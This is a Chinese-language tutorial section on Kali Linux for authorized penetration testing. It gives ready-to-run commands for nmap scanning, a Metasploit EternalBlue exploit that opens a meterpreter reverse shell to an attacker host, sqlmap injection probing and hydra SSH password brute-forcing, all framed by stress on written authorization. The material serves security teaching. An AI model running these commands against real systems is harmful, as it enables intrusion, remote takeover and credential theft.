Kali Linux 使用方式与典型场景
四、使用方式与典型场景
一次完整的授权测试通常按「信息收集 — 漏洞验证 — 影响说明 — 报告」推进。下面的示例都基于你拥有书面授权的测试环境,命令可直接复制。
# 示例 1:网段存活与常见服务发现,输出保存为三种格式便于比对
nmap -sn 192.0.2.0/24 -oA hosts
nmap -sS -sV -p 22,80,443,445,3306,3389 192.0.2.10 -oA svc-10
nmap -sV --script vuln 192.0.2.10 -oA vuln-10
# 只在授权时间窗内、用限速参数降低对目标的影响
nmap -sS -T2 --max-rate 100 192.0.2.0/24 -oA slow-scan
第一条命令做主机发现,第二、三条做端口与服务识别并调用漏洞探测脚本,最后一行的 -T2 与 --max-rate 是给生产网段用的限速参数。扫描过快会触发 IDS 告警甚至被防火墙封禁,生产环境务必降速,并在报告里说明扫描参数。
# 示例 2:从信息收集到利用验证(以授权靶场中的 ms17-010 为例)
msfconsole -q
msf6 > workspace -a lab-ms17
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 > set RHOSTS 192.0.2.10
msf6 > run
# 确认可疑后再进入利用模块,先 check 再 run
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set RHOSTS 192.0.2.10
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 192.0.2.5
msf6 > set LPORT 4444
msf6 > check
msf6 > run
# 拿到会话后只做取证级的最小动作,导出证据后立即记录
meterpreter > sysinfo
meterpreter > getuid
meterpreter > screenshot
meterpreter > background
另一个高频场景是 Web 方向:用 gobuster 发现未公开路径,再用 burpsuite 代理浏览器逐个验证参数是否可越权,最后用 sqlmap 在确认为注入点且授权允许读数据的前提下做最小化验证。
# Web 方向:目录发现 + 注入点最小验证
gobuster dir -u https://demo.example.com -w /usr/share/wordlists/dirb/common.txt -t 20
# --batch 自动确认,--level=1 只做基础探测,避免大范围拉数据
sqlmap -r req.txt --batch --level=1 --risk=1 --dbs
# 密码审计:只对授权账号范围执行,输出结果离线保存
hydra -L users.txt -P pass.txt ssh://192.0.2.10 -t 4 -o hydra-ssh.txt
适合的场景:自有资产自查、有书面授权的内网测试、等保测评前的风险摸底、隔离靶场里的漏洞复现与教学。不适合的场景:对未授权目标做任何扫描(哪怕只是 nmap -sn)、在生产环境跑高强度爆破、对关键业务系统做可能导致宕机的漏洞利用。判断标准很简单:这条命令造成的后果,是否在授权书允许的范围内。

